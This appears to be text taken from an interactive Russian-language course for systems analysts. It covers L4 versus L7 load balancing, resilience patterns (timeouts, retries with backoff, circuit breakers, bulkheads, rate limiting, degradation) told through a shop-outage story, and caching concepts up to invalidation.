    Житейски: письмо на почте. L4 смотрит только на адрес на конверте: откуда и куда. Этого хватает, чтобы доставить, но что внутри — неизвестно. L7 вскрывает письмо и читает, о чём оно: «это жалоба — в отдел качества, это заказ — в отдел продаж». Отсюда и все различия: L7 умнее, L4 быстрее.

    Один и тот же запрос на двух уровнях

    Нажмите — посмотрите, что видит балансировщик на каждом уровне и что он поэтому может и не может.

    глава 8 · таблица L4 против L7

     L4 — транспортныйL7 — прикладной
    ЖитейскиЧитает адрес на конвертеВскрывает письмо и читает
    Что видитIP-адреса и порты. Содержимое — непрозрачный поток байтHTTP-запрос целиком: путь, метод, заголовки, cookie
    Может маршрутизироватьТолько по адресу назначенияПо пути (/api/orders → одному, /api/catalog → другому), по заголовку, по версии
    СкоростьОчень высокая, почти нет накладных расходовНиже: надо разобрать запрос, часто расшифровать TLS
    Повтор при ошибкеНе умеет: не знает, что такое «запрос»Умеет: видит код ответа и может отправить запрос другому узлу
    TLSПроходит насквозь, шифрование до узлаОбычно завершается здесь, дальше — заново или открыто
    Типичное применениеБазы данных, gRPC-потоки, всё не-HTTP, вход в кластерВеб-трафик, API, канареечные выкатки, A/B
    ПримерыLVS/IPVS, AWS NLB, HAProxy в режиме tcpnginx, Envoy, Traefik, AWS ALB, HAProxy в режиме http
    Обычная схема в продакшене — оба сразу: снаружи L4 (принимает огромный поток, распределяет по нескольким L7), за ним L7 (разбирает HTTP, маршрутизирует по путям, повторяет при ошибке, собирает метрики). Сверху DNS с несколькими адресами — грубая балансировка между площадками.

    глава 8 · аналитику зачем системному аналитику L4 и L7

    Суть одной фразой. От уровня балансировщика зависит, какие требования к маршрутизации, выкатке, сессиям, лимитам и трассировке система выполнит без доработок — и где эти требования писать: в настройках L7-балансировщика или шлюза, а не в коде каждого сервиса.

    Аналитик сам балансировщик не настраивает. Но он пишет требования вида «премиум-клиентов — на отдельный кластер» или «новую версию сначала показать 5 % пользователей». Если на входе стоит только L4, такие требования невыполнимы без доработки инфраструктуры. Лучше узнать это до оценки, а не на приёмке.

    Требование из ТЗ → справится ли L4, справится ли L7

    ТребованиеL4 (конверт)L7 (письмо)
    Маршрут по пути: /api/payments → сервис оплатыНет: пути не видитДа, базовая функция
    Канарейка: 5 % пользователей — на новую версиюТолько грубо, по доле соединений; один человек может прыгать между версиямиДа: по cookie или заголовку, пользователь стабильно в одной группе
    Мобильное приложение v2 по заголовку X-App-Version: 2 — на новый бэкендНет: заголовков не видитДа
    Липкие сессииТолько по IP: ломаются при смене сети (Wi-Fi → мобильный), перекос за NATПо cookie: переживают смену сети
    Повтор GET при ответе 503 — на другом сервереНет: не знает, что такое ответДа
    X-Request-Id для сквозной трассировкиНет: не может дописать заголовокДа: добавляет, если его нет
    Лимит 100 запросов в минуту на клиентаНет: не знает, кто клиент (разве что по IP)Да, по токену или ключу (часто это делает шлюз)
    Не-HTTP поток: база данных, MQTT от датчиков, видеозвонок, игровой серверДа, это его работаОбычно нет: понимает только HTTP и немногие известные протоколы
    Минимальная задержка и миллионы одновременных соединенийДа, почти без накладных расходовДороже: разбор и шифрование едят процессор

    Четыре практических применения

    1
    Проверка реализуемости требования. «Премиум-клиентов — на отдельный кластер» при одном L4 на входе невозможно: L4 не видит, кто клиент. Значит, нужна доработка (L7 или шлюз), и её надо заложить в оценку и план.Вопрос к себе: «чтобы выполнить это требование, балансировщику нужно заглянуть внутрь запроса?» Если да — нужен L7.
    2
    Правильное место для нефункциональных требований. Маршрутизация, канарейки, повторы, лимиты, заголовки трассировки — это требования к L7-балансировщику или шлюзу, а не к каждому сервису.Иначе каждая команда напишет свой лимитер и свои повторы, и все они будут вести себя по-разному.
    3
    Правильный вопрос архитектору или DevOps. «Что у нас на входе — L4 или L7? Кто терминирует TLS? Можно ли маршрутизировать по заголовку?» Ответ сразу показывает, какие требования бесплатны, а какие — нет.Терминировать TLS — значит расшифровывать трафик в этой точке.
    4
    Интеграции не по обычному HTTP. gRPC, WebSocket, MQTT, прямые подключения к базе: проверьте, что балансировщик их пропускает и держит долгие соединения.Типичный сюрприз: WebSocket обрывается через 60 секунд, потому что у L7 стоит таймаут простоя для обычных запросов.

    Мини-тренажёр: вот требование — чем его закрыть?

    Решено 0 из 0.

    глава 9 · полигон балансировщик вживую

    Всё, что было в главах 4–7, собрано в одном месте. Четыре узла разной мощности. Выберите алгоритм, отправьте запросы, уроните узел, включите липкие сессии, выведите узел — и смотрите, как меняется распределение и откуда берутся ошибки.

    Всего запросов: 0 Ошибок: 0 Средний ответ: — Перекос распределения: —

    глава 10 · кто есть кто балансировщик, шлюз, BFF и mesh

    Рядом с балансировщиком постоянно звучат ещё три слова. Все они стоят «на пути запроса», поэтому их легко спутать. Разница — в том, на какой вопрос каждый отвечает.

     ⚖ Балансировщик🛂 API-шлюз🧑‍💼 BFF🚚 Service mesh
    ЖитейскиАдминистратор у касс: «вам — на третью»Ресепшен бизнес-центра: проверяет пропуск и говорит, на какой этажЛичный помощник для гостей одного типа: собирает всё нужное им в одну папкуКурьерская служба между офисами: сама возит, шифрует, повторяет доставку
    Главный вопросКакой из одинаковых копий отдать запрос?В какой сервис этот запрос и можно ли его пускать?Что нужно именно этому экрану этого клиента?Как сервисам надёжно звонить друг другу?
    Где стоитПеред копиями одного сервиса (или на входе)На входе в систему, один на всех клиентовОтдельный на каждый тип клиента: веб, мобильное, партнёрыВнутри, рядом с каждым сервисом (sidecar)
    Типичная работаАлгоритм выбора, проверки здоровья, drainПроверка токена, лимиты, маршрут по пути, версии APIСклейка ответов нескольких сервисов, обрезка полей под экранШифрование mTLS, повторы, таймауты, балансировка между сервисами
    Знает бизнес-смыслНетПочти нетДа, про экраныНет
    Примерыnginx, HAProxy, AWS ALB/NLBKong, Spring Cloud Gateway, AWS API GatewayСвой сервис на Node, Kotlin, GoIstio, Linkerd
    Важная оговорка. Балансировка — это функция, а не только отдельная коробка. Шлюз обычно сам балансирует между копиями сервиса, а mesh балансирует вызовы между сервисами внутри. Поэтому в маленькой системе отдельного балансировщика может не быть — его работу делает шлюз.

    Кому поручить задачу?

    Разложите задачи по исполнителям. Решено 0 из 0.

    глава 11 · проверь себя балансировка

    Решено 0 из 0.

    Дальше → таймауты, повторы, размыкатель цепи, переборки, лимиты — и симулятор шторма повторов

    Устойчивость — это не «чтобы не падало». Падать будет. Устойчивость — это чтобы падало по частям и предсказуемо: сломался один блок, а магазин продолжает продавать. Весь раздел — одна история одной пятницы. Сначала посмотрим, как маленький сбой валит всё. Потом починим её по шагам, по одному приёму за главу.

    карта раздела одна пятница, одиннадцать глав

    Читайте по порядку: каждая глава опирается на предыдущую. Кнопка переносит к главе.

    глава 1 · завязка пятница, 19:40: как магазин лёг из-за блока «вам может понравиться»

    Сначала — что мы вообще ищем.

    Устойчивость (resilience) — способность системы продолжать главную работу, когда часть её сломалась. Не «ничего не ломается», а «сломалось маленькое — и осталось маленьким».
    в доме перегорела лампочка в коридоре. Устойчивый дом — тот, где при этом горит свет на кухне. Неустойчивый — где от одной лампочки выбивает весь подъезд.

    Теперь история. У нас интернет-магазин кроссовок. Страница товара собирается из нескольких кусков. Цена и корзина приходят из своих сервисов. Ещё есть блок «вам может понравиться» — его отдаёт сервис рекомендаций. Это мелочь: без него купить можно.

    Пятница, вечер, пик продаж. В 19:40 сервис рекомендаций начал отвечать не за 50 миллисекунд, а за 30 секунд. Через пять минут не работал весь магазин. Никто не мог даже оформить заказ. Пройдите эти пять минут по шагам. Смотрите на схему, на потоки внизу и на часы.

    Как читать схему. Подсвечено то, что участвует в текущем шаге. Зелёное — отвечает нормально, жёлтое — ждёт, красное — сломалось. Квадратики внизу — потоки магазина: это «рабочие руки», их всего 20. Каждый квадратик — один запрос, который сейчас обслуживается.

    глава 2 · почему почему упало всё, а не только рекомендации

    Разберём три слова, на которых держится вся история.

    Поток

    Рабочий внутри сервиса. Берёт один запрос и ведёт его от начала до конца. Пока ждёт чужого ответа — стоит и ничего другого не делает.

    Пул потоков

    Все рабочие сервиса. Их число ограничено: у нашего магазина 20. Каждый новый запрос берёт свободного рабочего из пула. Свободных нет — запрос встаёт в очередь.

    Каскадный отказ

    Сбой, который перетекает по цепочке: сломался один сервис, и из-за него падают те, кто его вызывает. А потом — те, кто вызывает их.

    кафе на 20 официантов. Кухня стала готовить десерт час. Каждый официант, принявший заказ с десертом, стоит у окна раздачи и ждёт. Через 10 минут все 20 стоят у окна. Гость, который хочет просто кофе, не может даже сделать заказ. Кофемашина работает, а кафе — нет.

    Сколько потоков нужно? Посчитайте сами

    Есть простое правило. Оно называется закон Литтла: занято потоков = запросов в секунду × время одного запроса. 40 покупателей в секунду по 0,07 секунды — это около трёх занятых потоков. А если запрос длится 30 секунд?

    40
    Нужно потоков: — Есть потоков: 20 Не хватает: —

    То же самое — на секвенсе

    Секвенс — схема «кто кому что отправил и когда». Время идёт сверху вниз. Пройдите по стрелкам.

    Главный вывод главы. Магазин упал не потому, что рекомендации сломались. Он упал, потому что их ждал. Ожидание — вот что переносит беду из одного сервиса в другой. Поэтому все приёмы дальше делают одно из трёх: ждут меньше, не ходят туда, где не ответят, или не дают одному сбою занять все ресурсы.

    глава 3 · пульт магазин, который можно ломать

    Это живая модель нашего магазина. 15 покупателей в секунду открывают карточку товара, ещё 5 оформляют заказ. У магазина 20 потоков. Нажмите «▶ Запустить», потом «💥 Сломать рекомендации». Посмотрите, как за несколько секунд кончатся потоки и упадут заказы.

    Потом включайте защиту переключателями. Каждый переключатель — одна из следующих глав. Под метриками пульт объясняет, почему картина стала такой. Время в модели идёт в 5 раз быстрее настоящего.

    19:39:55
    Потоки магазина (20):
    ● страница · ₽ заказ · ⌛ ждёт рекомендации дольше секунды
    Что заложено в модель. Карточка товара вызывает цену и корзину (25 мс), потом рекомендации (обычно 40 мс). Заказ вызывает цену, корзину и оплату (85 мс) — рекомендации ему не нужны. Покупатель ждёт не дольше 5 секунд, потом уходит. Рекомендации выдерживают до 40 запросов в секунду; больше — захлёбываются и тоже отвечают по 30 секунд. Покупателей в модели меньше, чем в истории, чтобы разница между приёмами была видна яснее.

    глава 4 · таймаут первое лекарство: не ждать вечно

    Таймаут — предел ожидания. Заранее решаем: «жду ответа не дольше N миллисекунд». Не пришёл — обрываем, освобождаем поток и идём дальше.
    вы вызвали такси. Решили: жду не дольше 10 минут, потом вызываю другое. Без этого правила можно простоять у подъезда весь вечер — и опоздать туда, куда ехали.

    В нашей пятнице именно этого не было. Запрос к рекомендациям мог висеть 30 секунд, и поток магазина всё это время стоял. Вызов без таймаута — это обещание ждать вечно. А у многих библиотек по умолчанию таймаута нет или он огромный.

    Какое число поставить? Подберите сами

    Обычно рекомендации отвечают так: половина запросов — за 40 мс, 99 из 100 — быстрее 200 мс. Это «99-й перцентиль», коротко p99. Двигайте таймаут и следите за двумя вещами: сколько здоровых ответов мы оборвём зря и сколько потоков займёт сбой.

    30 с
    Здоровых ответов оборвём зря: — Потоков занято во время сбоя: — Страница во время сбоя ждёт: —

    Правило 1: от p99, а не «на глаз»

    Берите время, в которое сосед укладывается в 99 случаях из 100, и добавьте запас. Таймаут в 30 секунд не отсекает ничего — он только даёт очереди вырасти.

    Правило 2: поток за время таймаута

    Проверьте по закону Литтла: запросов/с × таймаут должно быть заметно меньше числа потоков. 40 × 0,3 с = 12 из 20 — терпимо. 40 × 0,5 с = 20 из 20 — пул снова кончится.

    Бюджет на цепочку

    Если у покупателя 2 секунды, а в цепочке четыре звена, каждое не может ждать 2 секунды. Бюджет делится и передаётся дальше (в gRPC это называется deadline). Звено знает, сколько времени осталось, и не начинает работу, которую заведомо не успеет.

    Вложенность

    Внешний таймаут должен быть больше суммы внутренних. Иначе внешний оборвёт запрос, который вот-вот успешно закончился бы, и работа пропадёт зря.

    Таймаутов три, а не один. На установку соединения — доли секунды: сеть либо жива, либо нет. На получение ответа — от p99. На всю операцию целиком, вместе с повторами. Обычно настроен только второй. А зависают чаще на первом — когда узел не отвечает вообще.
    Что вы увидите на пульте. Заказы оживут: потоки больше не висят. Но страницы товаров начнут падать с ошибкой — рекомендаций нет, а страница без них собираться не умеет. Это починим в главе 9. А пока разберёмся, нельзя ли просто попробовать ещё раз.

    глава 5 · повторы «попробую ещё раз» — и как это добивает лежачего

    Повтор (retry) — после неудачи отправить тот же запрос ещё раз. Помогает при случайных сбоях: моргнула сеть, узел перезапускался. Вредит, когда сосед лежит всерьёз.

    После таймаута рука тянется добавить повторы: «не ответили — спросим ещё». Иногда это правильно. Вот удачный случай:

    А теперь наша пятница. Рекомендации лежат не случайно — они перегружены. Каждый повтор — это ещё один запрос к тому, кто и так не справляется. Три повтора на каждый запрос — втрое больше нагрузки. Такую лавину повторов называют штормом повторов (retry storm).

    Шторм повторов: посчитайте, во сколько раз вырастет нагрузка

    Хуже всего, когда повторяет каждое звено цепочки. Магазин повторяет рекомендациям, рекомендации повторяют своей базе, и так далее. Повторы перемножаются.

    1000
    3
    3
    Нагрузка на упавший сервис: — Усиление: — Пик после восстановления: —

    Как повторять правильно: растущая пауза

    Экспоненциальная задержка (exponential backoff) — пауза между попытками растёт вдвое: 1 с, 2 с, 4 с, 8 с. Сосед получает время прийти в себя.
    вы дозваниваетесь в поликлинику. Не жмёте «повтор» каждую секунду — линия от этого не освободится. Позвонили, занято — ждёте минуту. Снова занято — две. Потом пять.
    Случайный разброс (jitter) — к паузе добавляется случайная добавка. Клиенты, упавшие одновременно, повторяют в разное время.
    поликлиника открывается в 9:00. Если все пациенты позвонят ровно в 9:00, линия ляжет. Если каждый позвонит «где-то между 9:00 и 9:30», дозвонятся почти все.

    Вот 60 покупателей, которые получили ошибку в одну и ту же секунду. У каждого 3 повтора. Сервис успевает обработать 10 запросов за четверть секунды (зелёная линия). Всё, что выше линии, — отказ. Переключайте режим и смотрите, сколько покупателей в итоге дозвонятся.

    0 с2 с4 с6 с8 с
    Дозвонились: — Сдались: — Пик за 0,25 с: —
    Три правила повторов. 1) Повторять только безопасные операции — те, где повтор ничего не испортит. Повторить «списать деньги» без ключа идемпотентности — значит списать дважды. 2) Попыток мало (2–3), пауза растёт, к ней добавлен разброс. 3) Повторяет одно звено цепочки — ближайшее к пользователю. Остальные сразу отдают ошибку.
    Что вы увидите на пульте. С повторами «сразу» нагрузка на рекомендации вырастает втрое. Нажмите «Починить» — рекомендации не встанут: их топят наши же повторы. С растущей паузой в бюджет операции помещается меньше попыток, и нагрузка ниже предела — сервис поднимается. Но лучше вообще перестать звонить туда, где не ответят. Это следующая глава.

    глава 6 · размыкатель перестать звонить туда, где не ответят

    Размыкатель цепи (circuit breaker) — посредник между нами и соседом. Он считает ошибки. Когда их слишком много, он «размыкается»: следующие вызовы сразу получают отказ, не уходя в сеть. Через паузу пробует снова.
    автомат в электрощитке. Где-то замыкание — автомат выбило. Вы не держите рычаг силой: сначала ждёте, потом пробуете включить. Не выбило снова — свет вернулся. Выбило — ещё ждёте.

    Таймаут ограничивает одно ожидание. Но при 40 запросах в секунду это всё равно 40 бесполезных походов по сети и 12 занятых потоков. Размыкатель убирает и их: пока сосед лежит, к нему просто не ходят. Отказ приходит за доли миллисекунды.

    У размыкателя три состояния. Замкнут — запросы идут, как обычно. Разомкнут — запросы отклоняются сразу. Полуразомкнут — пропускаем несколько пробных запросов, чтобы понять, ожил ли сосед.

    ЗАМКНУТзапросы проходят
    →
    РАЗОМКНУТмгновенный отказ
    →
    ПОЛУРАЗОМКНУТпробные запросы
    Состояние: ЗАМКНУТ Ошибок подряд: 0 Пропущено: 0 Отклонено сразу: 0
    Нажимайте «падает», пока не сработает размыкатель.

    Полный цикл на секвенсе

    Размыкатель без таймаута слеп. Он считает ошибки. А зависший вызов — не ошибка, это бесконечное ожидание. Пока ответа нет, считать нечего. Поэтому порядок всегда такой: сначала таймаут, потом размыкатель.

    глава 7 · переборки не дать одной пробоине потопить корабль

    Переборка (bulkhead) — отдельный, ограниченный запас ресурсов под каждую зависимость. Рекомендациям — не больше 6 потоков. Сколько бы они ни висели, остальные 14 им не достанутся.
    корпус корабля разделён переборками на отсеки. Пробоина затапливает один отсек, а не всё судно. Или так: в столовой отдельная касса для сотрудников. Хоть какая очередь у гостей — повара пообедают вовремя.

    В пятницу рекомендации заняли все потоки, потому что пул был общий. Посмотрите, как заполняется пул, секунда за секундой.

    На секвенсе

    Разделять можно не только потоки: пулы соединений к базе (чтобы отчёты не съели все соединения у продаж), отдельные экземпляры для важного и неважного трафика, отдельные очереди для быстрых и долгих задач.

    Цена переборок. Потоки поделены заранее, и в спокойное время часть их простаивает. Это честная плата за то, что отказ перестаёт быть «всё или ничего».

    глава 8 · лимиты ограничение частоты: самозащита того, кого вызывают

    Ограничение частоты (rate limiting) — сервис принимает не больше N запросов в секунду. Лишние сразу получают отказ 429 Too Many Requests, а не встают в бесконечную очередь.
    турникет в метро. Он пропускает людей с постоянной скоростью. В час пик на входе очередь, но на платформе не давка, и поезда ходят.

    Все прошлые главы — защита вызывающего: магазин бережёт свои потоки. А рекомендации могли защитить себя. Они выдерживают 100 запросов в секунду. Когда пошёл шторм повторов, им прилетело 120 — и они захлебнулись целиком, отвечая по 30 секунд всем. С лимитом они честно обслужили бы 100, а 20 сразу отказали бы. Быстрый отказ части лучше медленного отказа всем.

    Турникет можно устроить по-разному. Нажмите на строку, чтобы раскрыть подробности.

    Ведро токенов вживую

    Самый популярный турникет. В ведро с постоянной скоростью капают токены — жетоны на один запрос. Запрос забирает жетон. Жетонов нет — отказ. Ёмкость ведра — сколько жетонов может скопиться за тихое время: это разрешённый всплеск.

    5
    10
    Отказ по лимиту должен быть вежливым. Код 429 и заголовок Retry-After: 2 — «вернись через 2 секунды». Без заголовка клиент будет долбиться в цикле и сделает только хуже. Это и есть обратное давление (backpressure): получатель говорит отправителю «притормози».

    глава 9 · деградация что отключать первым

    Плавная деградация (graceful degradation) — при сбое система отключает второстепенное и продолжает делать главное. Запасной ответ (fallback) — то, что отдаём вместо недоступного: кеш, значение по умолчанию, пустой блок.
    час пик в кафе. Кухня не справляется, и из меню убирают сложные блюда: суфле, фламбе. Остаются суп, салат, кофе. Кафе продолжает кормить — просто выбор меньше.

    Помните пульт в главе 4? Таймаут спас заказы, но страницы товаров падали с ошибкой 500. Потому что код страницы был написан так: «нет рекомендаций — исключение — ошибка». Хотя цена и корзина были! Деградация — это решение, принятое заранее: «без рекомендаций показываем блок „Популярное“ из кеша».

    Самый дешёвый способ поднять доступность — не «сделать всё надёжным», а заранее решить, без чего можно жить. Разложите функции магазина по уровням важности.

    Разложено 0 из 0.

    Запасной ответ должен быть виден в метриках. Иначе система месяцами «работает» на заглушках, и никто не знает, что рекомендации давно мертвы. Считайте долю запасных ответов и поднимайте тревогу, когда она растёт.

    глава 10 · развязка та же пятница, 19:40 — но с защитой

    Перемотаем назад. Та же база рекомендаций, тот же сбой, те же 30 секунд. Но теперь у магазина таймаут, один повтор с разбросом, размыкатель, переборка и запасной ответ. Пройдите по шагам и сравните с главой 1.

    Как приёмы работают вместе — на секвенсе

    ПриёмОт чего защищаетБез него в пятницу
    ТаймаутБесконечное ожиданиеПотоки висят 30 с, пул кончается за полсекунды
    Повтор + пауза + разбросСлучайные разовые сбоиМоргнула сеть — покупатель видит ошибку
    РазмыкательПоходы к тому, кто лежит40 бесполезных запросов в секунду добивают рекомендации
    ПереборкаЗахват всех ресурсов одной зависимостьюЗависшие рекомендации отнимают потоки у заказов
    Ограничение частотыПерегрузку сверх возможностейШторм повторов топит рекомендации целиком
    ДеградацияОтказ всей страницы из-за одного блокаЦена и корзина есть, а страница — ошибка 500

    Ещё приёмы — одной строкой

    Нажмите на пункт, чтобы раскрыть.

    глава 11 · проверь себя вопросы по пятнице

    Решено 0 из 0.

    Общие вопросы по устойчивости

    Решено 0 из 0.

    Дальше → кеш: где ставить, как обновлять и что такое «пробитие» и «лавина»

    Этот раздел — одна история. В интернет-магазине карточка кроссовок открывается почти секунду. Мы разберёмся почему, придумаем, как это исправить, и по дороге узнаем всё про кеш: что это, как он работает, где его ставят и как он ломается. Главная мысль, которую стоит унести: кеш — это обмен. Отдаём свежесть, получаем скорость. Идите по главам по порядку, каждая опирается на предыдущую.

    карта раздела куда мы идём

    глава 1 · проблема карточка товара открывается 800 мс

    Интернет-магазин кроссовок. Пользователь нажимает на товар, и страница думает почти секунду. Почему так долго? Потому что карточка — это не одна строчка в базе. Каждый раз сервис собирает её заново из пяти кусков:

    Самое обидное: для всех покупателей карточка одинаковая. Цена меняется раз в день, отзывы — раз в час. А база тысячу раз в минуту делает одну и ту же работу. Откройте карточку несколько раз и посмотрите, сколько работы делает база.

    Открытий: 0 Запросов в базу: 0 База проработала: 0 мс
    пока никто не открывал
    Нажмите «Открыть карточку» три-четыре раза.

    глава 2 · определение что такое кеш

    Идея из первой главы простая: один раз посчитали — запомнили — дальше отдаём запомненное. У этой идеи есть имя.

    Кеш — это быстрое хранилище копий готовых ответов. Оно стоит ближе, чем настоящий источник данных, и отвечает быстрее. Кеш ничего не знает сам: всё, что в нём лежит, когда-то взяли из источника.

    Несколько слов, которые понадобятся дальше:

    • Источник правды — место, где данные хранятся по-настоящему. Обычно база данных. Если кеш и база расходятся, права база.
    • Ключ — имя, под которым ответ лежит в кеше. Например, product:42 — «карточка товара 42».
    • Значение — сам запомненный ответ: готовая карточка.
    • Попадание — нужный ответ в кеше нашёлся. Промах — не нашёлся, придётся идти в источник.

    Житейская картина на весь раздел: библиотекарь

    Представьте библиотекаря за стойкой. Настоящее хранилище книг — в подвале, туда идти десять минут. Но у стойки стоит маленький стол, и на нём лежат книги, которые спрашивают чаще всего. Попросили «Гарри Поттера» — библиотекарь просто протянул руку. Это и есть кеш. Дальше каждое понятие раздела будет иметь своё место в этой библиотеке:

    В библиотекеВ системеГде разбираем
    Хранилище в подвале, 10 минут ходьбыБаза данных — источник правдыглава 1
    Стол у стойки с популярными книгамиКешглава 2
    Название книгиКлючглава 3
    Книга на столе есть / её нетПопадание / промахглава 4
    Стол маленький, новую книгу некуда положить — какую-то уносим обратноВытеснение (например, LRU)глава 4
    Газету на столе меняют каждое утроTTL — срок жизни записиглава 5
    Вышло новое издание, а на столе лежит староеИнвалидация — сброс устаревшегоглава 8
    Открытие библиотеки: все пришли за одной новинкой, а на столе её нет, и все бегут в подвалЛавина (cache stampede)глава 9
    Главное с первой минуты: кеш — это обмен. Копия на столе может оказаться старым изданием. Поэтому первый вопрос про любой кеш не «где его поставить», а «насколько несвежие данные здесь можно показать». Для описания кроссовок — минуты. Для баланса на счёте перед списанием — ноль секунд, кешировать нельзя.

    Зачем он нужен — коротко

    глава 3 · сквозной пример Анна и Борис открывают одни кроссовки

    Посмотрим на кеш изнутри на одном живом примере. Утро, сервис каталога только что перезапустили, кеш пустой. Сначала карточку кроссовок откроет Анна из Москвы, через 10 секунд — Борис из Казани. Жмите «Дальше» и следите за схемой: подсвечивается то, что работает прямо сейчас, а часы считают миллисекунды каждого покупателя.

    👩 Аннабраузер · Москва
    ⚙️ Сервис каталогасобирает карточку
    ⚡ Кеш (Redis)память · ~1 мспусто
    🗄 База данныхдиск · 5 запросов ~780 мс
    сеть до дата-центра кеш база

    глава 4 · попадание и промах доля попаданий решает всё

    Анна промахнулась, Борис попал. В живой системе таких Анн и Борисов тысячи в секунду, и важно, какая часть из них попадает. Это число называют долей попаданий (hit ratio):

    доля попаданий = попадания ÷ все запросы

    Подвигайте ползунок. Обратите внимание на странную вещь: разница между 90 % и 99 % выглядит маленькой, но для базы это разница в десять раз.

    90 %
    Из 1 000 запросов в секунду до базы доходит: 100 Среднее время ответа: —

    Стол библиотекаря: места мало

    Память кеша не бесконечна, как и стол у стойки. Когда стол заполнен, а читатель просит новую книгу, какую-то книгу со стола придётся унести обратно в подвал. Это называется вытеснение. Какую именно уносить, решает политика вытеснения:

    • LRU (least recently used, «дольше всех не брали») — уносим ту, которую дольше всех не спрашивали. Самая распространённая.
    • FIFO (first in, first out, «первым пришёл — первым ушёл») — уносим ту, что лежит на столе дольше всех, даже если её только что брали.
    • LFU (least frequently used, «реже всех брали») — уносим ту, которую спрашивали реже всего.

    Попросите книги от имени читателей. Попадание стоит полминуты, промах — десять минут похода в подвал. Книга с красной пунктирной рамкой уйдёт следующей.

    читатель просит
    стол у стойки (кеш)
    Попаданий: 0 Промахов: 0 Доля попаданий: — Читатели ждали: 0 мин
    Попросите «Гарри Поттера», потом «Дюну», потом снова «Гарри Поттера».
    Почему кеш вообще работает: спрос неравномерный. Несколько книг (товаров, страниц) спрашивают постоянно, остальные — редко. Поэтому маленький стол закрывает большую часть запросов. Если бы все книги спрашивали одинаково часто, стол на 3 места из 1000 книг почти не помогал бы.

    глава 5 · срок годности TTL: молоко в холодильнике

    Вернёмся к Борису. Он получил карточку из кеша за 41 мс. А что, если за эти 10 секунд маркетолог снизил цену? Борис увидит старую цену. Кеш не знает, что в базе что-то поменялось: он хранит копию.

    Первая защита — срок жизни. TTL (time to live, «время жизни») — сколько секунд запись живёт в кеше. Когда срок истёк, кеш запись выбрасывает, и следующий запрос идёт в базу за свежими данными. Это как молоко в холодильнике: пока срок не вышел — пьём, вышел — выливаем и идём в магазин.

    Короткий TTL — секунды

    Данные почти свежие. Но записи часто выбрасываются, промахов больше, база работает больше. Молоко покупаем каждый день.

    Длинный TTL — часы

    Почти все запросы попадают, база отдыхает. Но устаревшие данные показываются долго. Молоко стоит неделю и начинает киснуть.

    Сколько несвежести допустимо — решает не программист, а цена ошибки для бизнеса:

    ДанныеЧто будет, если показать староеРазумный TTL
    Описание и фото товараничего страшногочасы
    Отзывы и рейтингновый отзыв появится чуть позжеминуты
    Ценапокупатель увидит одну цену, а в корзине другуюсекунды + сброс по событию
    Остаток на складепродадим то, чего нетсекунды или без кеша
    Баланс счёта перед списаниемспишем деньги, которых нетне кешировать

    Попробуйте сами: цена устарела

    Слева база, справа кеш. Двигайте время, меняйте цену и открывайте карточку. Сначала в режиме «только TTL» — увидите, как покупатели получают старую цену. Потом включите «сброс по событию»: при изменении цены сервис сам удаляет запись из кеша.

    60 с

    🗄 База — источник правды

    ⚡ Кеш — копия

    Часы: 0 сПоказали старую цену: 0 раз

    глава 6 · где кешировать восемь мест, от браузера до диска

    В главе 3 кеш стоял рядом с сервисом. Но запрос Анны по дороге проходит через восемь мест, где его можно перехватить. Чем ближе к пользователю, тем дешевле: запрос просто не доходит до системы. И тем труднее сбросить: чужим браузером вы не управляете.

    Нажмите на слой: где он стоит, что в нём держат, сколько экономит, как сбрасывается и чем опасен.

    Те же слои одной таблицей

    СлойЧто кешируемВыигрышКак сбросить
    Браузерстатика, редкие справочникизапрос не уходит вовсепочти никак — только версия в имени файла
    CDNкартинки, статика, публичные страницыне доходит до дата-центрапринудительный сброс по ключу, обычно минуты
    API Gatewayпубличные ответы GETне доходит до сервисовTTL, реже — сброс по событию
    Распределённый (Redis)сессии, агрегаты, горячие сущностиобщий для всех узловточная: удалить ключ по событию
    Локальный в процессесправочники, конфигурациянаносекунды, ноль сетитрудно: у каждого узла своя копия
    Материализованное представление в БДтяжёлые агрегатыснимает нагрузку с расчётапо расписанию или по триггеру
    Буферный кеш СУБДстраницы данныхпрозрачный, всегда включёнуправляется базой
    Про локальный кеш в каждом узле: он самый быстрый и самый коварный. Двадцать узлов — двадцать независимых копий. Они расходятся, и пользователь видит разные данные при обновлении страницы. В библиотеке это двадцать столов у двадцати стоек, и на каждом своё издание. Годится для того, что меняется редко (конфигурация, справочник валют), и для коротких TTL в секунды. Для остального нужен общий кеш.

    глава 7 · стратегии кто ходит в базу и что происходит при записи

    В главе 3 сервис сам спрашивал кеш, сам ходил в базу и сам клал результат. Это одна из пяти стратегий. Стратегия кеширования — это ответ на два вопроса: кто идёт в базу при промахе и что происходит с кешем при записи.

    Ниже — живая модель. Выберите стратегию и операцию и жмите «Дальше» (или стрелки ← → на клавиатуре, когда схема в фокусе). По стрелкам летит «пакет» с запросом, в узлах видно, что лежит в кеше и в базе и о чём узел «думает». Внизу та же история в виде диаграммы последовательности: нажмите на любую её стрелку, чтобы перейти к этому шагу. Потом попробуйте всё сломать.

    стратегия
    операция
    попробуйте сломать
    0
    диаграмма последовательности · нажмите на стрелку

    Сравните две стратегии на одной операции

    Одна и та же история, две стратегии рядом. Кто когда получил ответ, когда данные реально легли в базу и когда Анна увидела новую цену. Шкала времени логарифмическая: миллисекунды и минуты помещаются на одну полосу.

    Все пять одной таблицей

    Нажмите на строку — будет подробнее.

    Каждая стратегия в коде

    Выберите стратегию: схема чтения и записи в тексте, код на Java и то, что случится, когда откажет кеш или база.

    Разложите по стратегиям

    Для каждой задачи выберите подходящую стратегию. Решено 0 из 0.

    глава 8 · инвалидация «самая трудная задача в программировании»

    Есть старая шутка программиста Фила Карлтона: «В информатике две трудные вещи — инвалидация кеша и придумывание имён». Инвалидация — это сброс записи в кеше, когда данные в источнике поменялись. В библиотеке: вышло новое издание, и старое надо убрать со стола. Звучит просто. Трудность в том, что про стол должен помнить каждый, кто меняет книги в подвале. А кто-нибудь обязательно забудет.

    Четыре способа и их цена

    TTL

    Запись живёт N секунд. Просто и надёжно, но данные устаревают на время TTL, а истечение у всех сразу даёт лавину. Всегда добавляйте разброс.

    Удаление по событию

    Изменили товар — удалили ключ. Точно и свежо. Требует, чтобы про кеш знали все, кто меняет данные, — а кто-нибудь обязательно не узнает.

    Версия в ключе

    product:42:v7. Удалять ничего не надо: новая версия — новый ключ, старый вытеснится сам. Отлично работает, но требует хранить версию.

    Теги / группы

    Сбросить всё по категории одним действием. Удобно, но опасно: сброс тега «каталог» разом обнуляет тысячи ключей и роняет базу.

